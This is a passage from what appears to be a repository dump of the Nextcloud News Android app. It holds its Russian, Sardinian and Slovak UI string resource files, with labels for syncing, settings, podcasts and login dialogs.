name=\"dialog_clearing_cache_please_wait\">Очистка кэша. Пожалуйста, подождите ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Есть несинхронизированные изменения. Вы действительно хотите очистить кэш?</string>\n    <string name=\"warning\">Предупреждение</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Синхронизация при запуске</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Показать только непрочитанные статьи</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Отключить проверку доменного имени </string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Навигация с помощью клавиш регулировки громкости</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Отмечать как прочитанное при прокрутке</string>\n    <string name=\"pref_title_ShowFastActions\">Включить функции быстрого доступа</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Пропустить детальный обзор и открыть статью в браузере</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Кнопка \\\"Назад\\\" открывает ящик</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Принять неизвестный сертификат?</string>\n    <string name=\"mtm_decision_always\">Всегда</string>\n    <string name=\"mtm_decision_abort\">Отмена</string>\n    <string name=\"mtm_notification\">Проверка сертификата</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Нет выбранных подкастов</string>\n    <string name=\"no_chapters_available\">Нет доступных глав</string>\n    <string name=\"exit_playback\">Выйти из проигрывателя</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Скорость воспроизведения</string>\n    <string name=\"notification_downloading_podcast_title\">Загрузка подкастов</string>\n    <string name=\"dialog_podcast_remove_title\">Вы уверены?</string>\n    <string name=\"dialog_podcast_remove_body\">Вы хотите удалить загруженные медиафайлы для %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Не удалось удалить медиафайл для %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Медиафайлы для %1$s были удалены</string>\n    <string name=\"dialog_podcast_remove_confirm\">Удалить</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">О нас</string>\n    <string name=\"pref_license\">Лицензия</string>\n    <string name=\"pref_license_summary\">Открытое лицензионное соглашение GNU Affero (AGPL), версия 3</string>\n    <string name=\"pref_report_issue\">Сообщить о проблеме</string>\n    <string name=\"pref_report_issue_summary\">Требуется (бесплатный) аккаунт GitHub</string>\n    <string name=\"pref_contribute\">Внесите свой вклад!</string>\n    <string name=\"pref_contribute_summary\">Получить исходный код</string>\n    <string name=\"pref_privacy\">Конфиденциальность</string>\n    <string name=\"pref_privacy_summary\">Политика конфиденциальности новостей Nextcloud Android </string>\n    <string name=\"pref_news_policy\">Свяжитесь с нами / Политика в отношении новостей</string>\n    <string name=\"pref_news_policy_summary\">Новости Nextcloud News Политика в отношении новостей Android / Свяжитесь с нами</string>\n    <string name=\"pref_version\">Приложение Nextcloud Новости для Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Экран</string>\n    <string name=\"pref_title_app_theme\">Стиль оформления</string>\n    <string name=\"pref_title_feed_list_layout\">Макет списка лент</string>\n    <string name=\"pref_title_font_size\">Размер шрифта</string>\n    <string name=\"pref_display_browser\">Браузер</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Значки действия (подробный просмотр)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Системная</string>\n    <string name=\"pref_display_apptheme_light\">Светлая</string>\n    <string name=\"pref_display_apptheme_dark\">Тёмная</string>\n\n    <string name=\"pref_oled_mode\">Чёрный фон</string>\n    <string name=\"pref_oled_mode_summary\">Для тёмного стиля оформления на экранах OLED</string>\n\n    <string name=\"pref_external_player\">Внешний плеер</string>\n    <string name=\"pref_external_player_summary\">Воспроизводить подкасты в вашем мультимедийном приложении по умолчанию</string>\n\n    <string name=\"pref_display_browser_cct\">Встроенные настраиваемые ярлыки Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Встроенный браузер</string>\n    <string name=\"pref_display_browser_external\">Сторонний браузер</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Миниатюры (только заголовки)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Миниатюры</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Простой текст</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Заголовки</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Полный текст</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Веб-макет</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Просмотр карточек</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Маленький</string>\n    <string name=\"pref_display_font_size_d\">По умолчанию</string>\n    <string name=\"pref_display_font_size_l\">Крупный</string>\n    <string name=\"pref_display_font_size_xl\">Очень большой</string>\n\n    <string name=\"content_desc_play\">Играть</string>\n    <string name=\"content_desc_pause\">Пауза</string>\n    <string name=\"content_desc_playback_speed\">Скорость воспроизведения</string>\n    <string name=\"content_desc_rewind\">Перемотка</string>\n    <string name=\"content_desc_forward\">Вперёд</string>\n    <string name=\"content_desc_expand\">Развернуть</string>\n    <string name=\"content_desc_collapse\">Свернуть</string>\n    <string name=\"content_desc_mark_as_read\">Отметить прочитанным</string>\n    <string name=\"content_desc_mark_as_unread\">Отметить не прочитанным</string>\n    <string name=\"content_desc_tap_to_refresh\">Нажмите, чтобы обновить</string>\n    <string name=\"content_desc_add_to_favorites\">Добавить в избранное</string>\n    <string name=\"content_desc_remove_from_favorites\">Убрать из избранного</string>\n    <string name=\"content_desc_show_password\">Показать пароль</string>\n    <string name=\"content_desc_delete\">Удалить</string>\n    <string name=\"content_desc_download\">Скачать</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Ошибка</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Похоже что новостное приложение не установлено или не активировано на вашем сервере. Следуйте этой инструкции для установки новостного приложения на ваш сервер: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Что-то пошло не так :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Веб-версия приложения «Новости» вернула «0». Для получения дополнительных сведений обратитесь к сообщению об ошибке: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Эта версия приложения не совместима с вашим приложением ownCloud News. Обновите новостное приложение и appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Предупреждение безопасности</string>\n    <string name=\"login_dialog_text_security_warning\">Вы не используете HTTPS, что настоятельно рекомендуется. Злоумышленник может перехватить ваш трафик и получить доступ к некоторым конфиденциальным данным (например, к вашему паролю). </string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Что-то пошло не так. Пожалуйста, попробуйте снова.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Данные и синхронизация</string>\n    <string name=\"pref_title_clearCache\">Очистить кэш</string>\n    <string name=\"pref_title_CacheImagesOffline\">Кэшировать изображения вне сети</string>\n    <string name=\"pref_title_Max_Cache_Size\">Максимальный размер кэша</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Никогда</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Только через WiFi </string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Через WiFi &amp; и мобильный интернет</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Спросить, если не подключён к WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Никогда</string>\n    <string name=\"array_sync_interval_min_5\">5 минут</string>\n    <string name=\"array_sync_interval_min_15\">15 минут</string>\n    <string name=\"array_sync_interval_min_30\">30 минут</string>\n    <string name=\"array_sync_interval_min_45\">45 минут</string>\n    <string name=\"array_sync_interval_hour_1\">1 час</string>\n    <string name=\"array_sync_interval_hour_2\">2 часа</string>\n    <string name=\"array_sync_interval_hour_3\">3 часа</string>\n    <string name=\"array_sync_interval_hour_6\">6 часов</string>\n    <string name=\"array_sync_interval_hour_12\">12 часов</string>\n    <string name=\"array_sync_interval_hour_24\">24 часа</string>\n    <string name=\"switch_account\">Сменить аккаунт</string>\n    \n    <string name=\"successfully_exported\">Успешно экспортировано в:</string>\n    <string name=\"opml_export\">OPML экспорт</string>\n    <string name=\"parsing_opml\">Парсинг OPML</string>\n    <string name=\"please_wait\">Пожалуйста, подождите ...</string>\n    <string name=\"interval_sync_title\">Частота синхронизации</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sc/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sincronizatzione</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervallu de sincronizatzione</string>\n    <string name=\"empty_view_content\">Perunu elementu inoghe</string>\n    <string name=\"empty_view_content_action\">Tira a bàsciu pro agiornare</string>\n    <string name=\"no_wifi_available\">WiFi disconnètidu</string>\n    <string name=\"current_version\">Ses impreende sa Versione %s</string>\n    <string name=\"widget_header\">Noas de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elementos noos a disponimentu</item>\n        <item quantity=\"other\">%d elementos noos a disponimentu</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Torra a carrigare</string>\n    <string name=\"allUnreadFeeds\">Totu is segmentos non lèghidos</string>\n    <string name=\"starredFeeds\">Elementos preferidos</string>\n    <string name=\"title_activity_new_feed\">Agiunghe fonte noa</string>\n\n    <string name=\"menu_update\">Agiorna</string>\n    <string name=\"menu_markAllAsRead\">Marca totu comente lèghidu</string>\n    <string name=\"menu_StartImageCaching\">Iscàrriga immàgines</string>\n    <string name=\"menu_downloadMoreItems\">Iscarriga àteros elementos</string>\n\n    <string name=\"tv_showing_cached_version\">Mustra sa versione in sa memòria temporànea</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Preferidos</string>\n    <string name=\"action_read\">Letura</string>\n    <string name=\"action_playPodacst\">Riprodue Podcast</string>\n    <string name=\"action_openInBrowser\">Aberi in su navigadore Web</string>\n    <string name=\"action_Share\">Cumpartzi</string>\n    <string name=\"action_login\">Cunfiguratzione de su serbidore</string>\n    <string name=\"action_save\">Sarva</string>\n    <string name=\"action_settings\">Cunfiguratzione</string>\n    <string name=\"action_sync_settings\">Cunfiguratzione de sincronizatzione</string>\n    <string name=\"action_add_new_feed\">Agiunghe fonte noa</string>\n    <string name=\"action_add_new_folder\">Agiunghe una cartella noa</string>\n    <string name=\"action_textToSpeech\">Letura vocale</string>\n    <string name=\"action_search\">Chirca</string>\n    <string name=\"action_download_articles_offline\">Iscàrriga artìculos fora de lìnia</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Iscarrigamentu de artìculos pro ddos impreare fora de lìnia </string>\n    <string name=\"notification_download_images_offline\">Iscarrigamentu de immàgines pro ddas impreare fora de lìnia</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tenes %d elementos noos non lèghidos</item>\n        <item quantity=\"other\">Tenes %d de elementos non lèghidos </item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elementu non lèghidu nou a disponimentu</item>\n        <item quantity=\"other\">%d elementu non lèghidu nou a disponimentu</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Fonte URL</string>\n    <string name=\"action_add_feed\">Agiunghe fonte</string>\n    <string name=\"import_opml\">Importa OPML</string>\n    <string name=\"export_opml\">Esporta OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Iscàrriga s\\'immàgine</string>\n    <string name=\"action_img_sharelink\">Cumpartzi su ligòngiu de s\\'immàgine</string>\n    <string name=\"action_img_open\">Aberi immàgine in su navigadore</string>\n    <string name=\"action_img_copylink\">Còpia su ligòngiu de s\\'immàgine</string>\n    <string name=\"action_link_share\">Cumpartzi Lingòngiu</string>\n    <string name=\"action_link_open\">Aberi Ligòngiu in su Navigadore</string>\n    <string name=\"action_link_copy\">Còpia Ligòngiu</string>\n    <string name=\"toast_img_saved\">Immàgine sarvada</string>\n    <string name=\"toast_img_notwriteable\">Errore in s\\'iscritura de s\\'immàgine.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiadu in is apuntos</string>\n    <string name=\"error_download_failed\">Iscarrigamentu faddidu</string>\n    <string name=\"intent_title_share\">Cumpartzi tràmite</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Boga Fonte</string>\n    <string name=\"action_feed_rename\">Torra a numenare Fonte</string>\n    <string name=\"action_feed_move\">Tràmuda Fonte</string>\n    <string name=\"action_feed_notification_settings\">Cunfiguratzione de notìficas</string>\n    <string name=\"feed_remove_button\">Boga</string>\n    <string name=\"feed_rename_button\">Torra a numenare</string>\n    <string name=\"confirm_feed_remove\">A beru nche cheres bogare custa Fonte? Custu non si podet annullare!</string>\n    <string name=\"feed_move_list_description\">Sèbera sa cartella a ue nche cheres tramudare sa fonte</string>\n    <string name=\"move_feed_root_folder\">Cartella raighina</string>\n\n\n    <string name=\"action_folder_rename\">Torra a numenare sa cartella</string>\n    <string name=\"folder_remove_button\">Boga</string>\n    <string name=\"folder_rename_button\">Torra a numenare</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agiunghe</string>\n    <string name=\"hint_folder_name\">Nùmene de sa cartella</string>\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Atzessu manuale</string>\n    <string name=\"login_sso\">Atzede impreende s\\'Aplicatzione Nextcloud Files </string>\n    <string name=\"pref_title_username\">Nùmene Utente</string>\n    <string name=\"pref_title_password\">Crae</string>\n    <string name=\"pref_title_owncloudRootPath\">Indiritzu raighina Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Identìfica·ti</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Custu campu est rechertu</string>\n    <string name=\"error_invalid_url\">URL isballiadu</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Elementos betzos %d iscarrigados</item>\n        <item quantity=\"other\">Elementos betzos %d iscarrigados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Non ddoe at àteros elementos a disponimentu</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Cunfiguratzione</string>\n    <string name=\"cache_is_cleared\">Memòria Temporànea lìmpia!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Generale</string>\n    <string name=\"pref_title_general_sort_order\">Ordinamentu</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nou → Betzu</string>\n    <string name=\"pref_general_sort_order_old_new\">Betzu → Nou</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Atzione cando s\\'iscurret a dereta</string>\n    <string name=\"pref_rename_action_swipe_left\">Atzione cando s\\'iscurret a manca</string>\n\n    <string name=\"pref_title_general_search_in\">Chirca in</string>\n\n    <string name=\"pref_general_search_in_title\">Tìtulu</string>\n    <string name=\"pref_general_search_in_body\">Corpus</string>\n    <string name=\"dialog_clearing_cache\">Lìmpia memòria temporànea</string>\n    <string name=\"reset_cache_unsaved_changes\">Ddoe at càmbios non sincronizados. Cheres azerare sa memòria temporànea gasi etotu?</string>\n    <string name=\"warning\">Avisu</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincroniza a s\\'aviu</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mustra isceti artìculos non lèghidos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Disabìlita sa verìfica de su nùmene Host</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naviga cun is butones de su volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marca comente lèghidu cando ses iscurrende</string>\n    <string name=\"pref_title_ShowFastActions\">Ativa funtziones de atzessu lestru</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Brinca sa vista a sa minuda e aberi s\\'artìculu in su navigadore</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Cheres atzetare unu tzertificadu disconnotu?</string>\n    <string name=\"mtm_decision_always\">Semper</string>\n    <string name=\"mtm_decision_abort\">Firma</string>\n    <string name=\"mtm_notification\">Verìfica Tzertificadu</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Perunu podcast seletzionadu</string>\n    <string name=\"no_chapters_available\">Perunu capìtulu a disponimentu</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velotzidade de riprodutzione</string>\n    <string name=\"notification_downloading_podcast_title\">Iscarrigamentu podcast</string>\n    <string name=\"dialog_podcast_remove_title\">A beru boles sighire?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Boga</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">In contu de</string>\n    <string name=\"pref_license\">Lissèntzia</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versione 3</string>\n    <string name=\"pref_report_issue\">Sinnala unu problema</string>\n    <string name=\"pref_report_issue_summary\">Rechedet unu contu GitHub (lìberu)</string>\n    <string name=\"pref_contribute\">Dona su contributu tuo!</string>\n    <string name=\"pref_contribute_summary\">Otene su còdighe fonte</string>\n    <string name=\"pref_privacy\">Riservadesa</string>\n    <string name=\"pref_privacy_summary\">Critèriu de riservadesa de Noas de Nextcloud pro Android</string>\n    <string name=\"pref_news_policy\">Iscrie·nos / Polìtica de noas</string>\n    <string name=\"pref_news_policy_summary\">Polìtica de noas de Nextcloud e Android / Iscrie·nos</string>\n    <string name=\"pref_version\">Aplicatzione de Noas de Nextcloud pro Android </string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Ischermu</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Istrutura elencu fontes</string>\n    <string name=\"pref_title_font_size\">Dimensione caràtere</string>\n    <string name=\"pref_display_browser\">Navigadore</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Atziones de is iconas (bista a minudu)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Predefinidu de sistema</string>\n    <string name=\"pref_display_apptheme_light\">Craru</string>\n    <string name=\"pref_display_apptheme_dark\">Iscuru</string>\n\n    <string name=\"pref_oled_mode\">Isfundu iscuru</string>\n    <string name=\"pref_oled_mode_summary\">Pro temas iscuros in ischermos OLED</string>\n\n    <string name=\"pref_display_browser_cct\"> Ischedas personalizadas de Chrome integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navigadore integradu</string>\n    <string name=\"pref_display_browser_external\">Navigadore de foras</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturas (tìtulos ebbia)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Testu simpre</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Tìtulos</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Testu integrale</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Istrutura Web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Bista de is ischedas</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pitica</string>\n    <string name=\"pref_display_font_size_d\">Predefinida</string>\n    <string name=\"pref_display_font_size_l\">Mannu</string>\n    <string name=\"pref_display_font_size_xl\">Mannu mannu</string>\n\n    <string name=\"content_desc_pause\">Pàusa</string>\n    <string name=\"content_desc_forward\">Torra a imbiare</string>\n    <string name=\"content_desc_collapse\">Cuntrae</string>\n    <string name=\"content_desc_mark_as_read\">Marca comente lèghidu</string>\n    <string name=\"content_desc_mark_as_unread\">Marca comente non lèghidu</string>\n    <string name=\"content_desc_add_to_favorites\">Agiunghe a is preferidos</string>\n    <string name=\"content_desc_remove_from_favorites\">Boga·nche dae preferidos</string>\n    <string name=\"content_desc_show_password\">Mustra crae</string>\n    <string name=\"content_desc_delete\">Cantzella</string>\n    <string name=\"content_desc_download\">Iscàrriga</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Errore</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Paret chi is aplicatziones noas non sunt installadas o ativadas in su serbidore tuo. Pro praghere, sighi is istrutziones frunidas inoghe pro cunfigurare is aplicatziones noas in su serbidore: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Ddoe at àpidu un\\'errore :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">S\\'aplicatzione Web News at torradu sa Version \\\"0\\\". Càstias a sa sinnalatzione de bug inoghe in fatu:https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Sa versione de custa aplicatzione no est cumpatìbile cun s\\'aplicatzione News de Nextcloud. Agiorna s\\'aplicatzione e su framework.</string>\n    <string name=\"login_dialog_title_security_warning\">Avisu de Seguresa</string>\n    <string name=\"login_dialog_text_security_warning\">Non ses impreende HTTPS, chi est cussigiadu forte. Unu malintentzionadu diat pòdere intertzetare su tràficu tuo e otènnere s\\'atzessu a datos sensìbiles (pro nàrrere, sa crae).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Ddoe at àpidu un\\'errore. Torra a proare.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Datos &amp; e sincronizzazione</string>\n    <string name=\"pref_title_clearCache\">Lìmpia memòria temporànea</string>\n    <string name=\"pref_title_CacheImagesOffline\">Immàgines de memòria temporànea foras de lìnia</string>\n    <string name=\"pref_title_Max_Cache_Size\">Mannària Màssima de sa Memòria Temporànea</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Mai</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Cun su WiFi ebbia</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Cun su WiFi &amp; e Mòbile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Pregonta si no ses connètidu a su WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Mai</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 ora</string>\n    <string name=\"array_sync_interval_hour_2\">2 oras</string>\n    <string name=\"array_sync_interval_hour_3\">3 oras</string>\n    <string name=\"array_sync_interval_hour_6\">6 oras</string>\n    <string name=\"array_sync_interval_hour_12\">12 oras</string>\n    <string name=\"array_sync_interval_hour_24\">24 oras</string>\n    <string name=\"switch_account\">Passa a àteru contu</string>\n    \n    <string name=\"successfully_exported\">Esportadu a:</string>\n    <string name=\"opml_export\">Esporta OPML</string>\n    <string name=\"parsing_opml\">Anàlisi de OPML</string>\n    <string name=\"please_wait\">Abeta ...</string>\n    <string name=\"interval_sync_title\">Sincronizatzione in tretu</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sk-rSK/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Autosynchronizácia</string>\n    <string name=\"title_activity_sync_interval_selector\">Interval synchronizácie</string>\n    <string name=\"empty_view_content\">Žiadne položky</string>\n    <string name=\"empty_view_content_action\">Pre obnovenie potiahnite nadol</string>\n    <string name=\"toast_GettingMoreItems\">Sťahovanie ďalších položiek začalo ... Čakajte prosím ...</string>\n    <string name=\"no_wifi_available\">Nie je pripojenie k WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Chcete stiahnuť obrázky bez Wi-Fi pripojenia?</string>\n    <string name=\"current_version\">Používate verziu %s</string>\n    <string name=\"widget_header\">ownCloud Novinky</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Dostupná %d nová položka</item>\n        <item quantity=\"few\">Dostupné %d nové položky</item>\n        <item quantity=\"many\">Dostupné %d nové položky</item>\n        <item quantity=\"other\">Dostupných %d nových položiek</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Znovu načítať</string>\n    <string name=\"allUnreadFeeds\">Všetky neprečítané položky</string>\n    <string name=\"starredFeeds\">Položky s hviezdičkou</string>\n    <string name=\"downloadedPodcasts\">Stiahnuté podcasty</string>\n    <string name=\"title_activity_new_feed\">Pridať nový kanál</string>\n\n    <string name=\"menu_update\">Obnoviť</string>\n    <string name=\"menu_markAllAsRead\">Všetko označiť ako prečítané</string>\n    <string name=\"menu_StartImageCaching\">Stiahnuť obrázky</string>\n    <string name=\"menu_downloadMoreItems\">Stiahnuť viac položiek</string>\n\n    <string name=\"tv_showing_cached_version\">Zobrazuje sa verzia vo vyrovnávacej pamäti</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">S hviezdičkou</string>\n    <string name=\"action_read\">Čítať</string>\n    <string name=\"action_playPodacst\">Prehrať podcast</string>\n    <string name=\"action_removePodcast\">Odstráňte Podcast Media</string>\n    <string name=\"action_openInBrowser\">Otvoriť vo webovom prehliadači</string>\n    <string name=\"action_Share\">Zdieľať</string>\n    <string name=\"action_login\">Nastavenia servera</string>\n    <string name=\"action_save\">Uložiť</string>\n    <string name=\"action_settings\">Nastavenia</string>\n    <string name=\"action_sync_settings\">Nastavenia synchronizácie</string>\n    <string name=\"action_add_new_feed\">Pridať nový kanál</string>\n    <string name=\"action_add_new_folder\">Pridať nový priečinok</string>\n    <string name=\"action_textToSpeech\">Prečítať</string>\n    <string name=\"action_search\">Hľadať</string>\n    <string name=\"action_download_articles_offline\">Stiahnuť články na čítanie bez pripojenia</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Sťahovanie článkov na čítanie bez pripojenia</string>\n    <string name=\"notification_download_images_offline\">Sťahovanie obrázkov pre použitie bez pripojenia</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Máte %d novú neprečítanú položku</item>\n        <item quantity=\"few\">Máte %d nové neprečítané položky</item>\n        <item quantity=\"many\">Máte %d nové neprečítané položky</item>\n        <item quantity=\"other\">Máte %d nových neprečítaných položiek</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Dostupná %d neprečítaná položka</item>\n        <item quantity=\"few\">Dostupné %d neprečítané položky</item>\n        <item quantity=\"many\">Dostupné %d neprečítané položky</item>\n        <item quantity=\"other\">Dostupných %d neprečítaných položiek</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL informačného kanála</string>\n    <string name=\"action_add_feed\">Pridať kanál</string>\n    <string name=\"import_opml\">Importovať OPML</string>\n    <string name=\"export_opml\">Exportovať OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Stiahnuť obrázok</string>\n    <string name=\"action_img_sharelink\">Sprístupniť odkaz na obrázok</string>\n    <string name=\"action_img_open\">Otvoriť obrázok v prehliadači</string>\n    <string name=\"action_img_copylink\">Kopíruj odkaz na obrázok</string>\n    <string name=\"action_link_share\">Sprístupniť odkaz</string>\n    <string name=\"action_link_open\">Otvoriť odkaz v prehliadači</string>\n    <string name=\"action_link_copy\">Kopírovať odkaz</string>\n    <string name=\"toast_img_download_wait\">Sťahujem. Čakajte prosím ...</string>\n    <string name=\"toast_img_saved\">Obrázok uložený</string>\n    <string name=\"toast_img_notwriteable\">Obrázok sa nepodarilo zapísať.</string>\n    <string name=\"toast_copied_to_clipboard\">Skopírované do schránky</string>\n    <string name=\"error_download_failed\">Stiahnutie zlyhalo</string>\n    <string name=\"intent_title_share\">Zdieľať prostredníctvom</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Odstrániť kanál</string>\n    <string name=\"action_feed_rename\">Premenovať kanál</string>\n    <string name=\"action_feed_move\">Presunúť kanál</string>\n    <string name=\"action_feed_notification_settings\">Nastavenie notifikácií</string>\n    <string name=\"action_feed_open_in\">Otvoriť nastavenia</string>\n    <string name=\"action_feed_open_in_general_setting\">Použiť všeobecné nastavenie</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detailný pohľad</string>\n    <string name=\"feed_remove_button\">Odobrať</string>\n    <string name=\"feed_rename_button\">Premenovať</string>\n    <string name=\"confirm_feed_remove\">Naozaj chcete odstrániť tento informačný kanál? Nie je to možné vrátiť späť!</string>\n    <string name=\"feed_move_list_description\">Vyberte priečinok, do ktorého chcete presunúť informačný kanál</string>\n    <string name=\"move_feed_root_folder\">Koreňový priečinok</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Odobrať Priečinok</string>\n    <string name=\"action_folder_rename\">Premenovať priečinok</string>\n    <string name=\"folder_remove_button\">Odobrať</string>\n    <string name=\"folder_rename_button\">Premenovať</string>\n    <string name=\"confirm_folder_remove\">Naozaj chcete odstrániť tento priečinok? Nie je to možné vrátiť späť!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Dostávajte jedinečné upozornenia na tento informačný kanál</string>\n    <string name=\"notification_feed_default\">Všetky kanály s predvolenými nastaveniami sa zobrazia v jednom upozornení</string>\n    <string name=\"notification_feed_none\">Žiadne 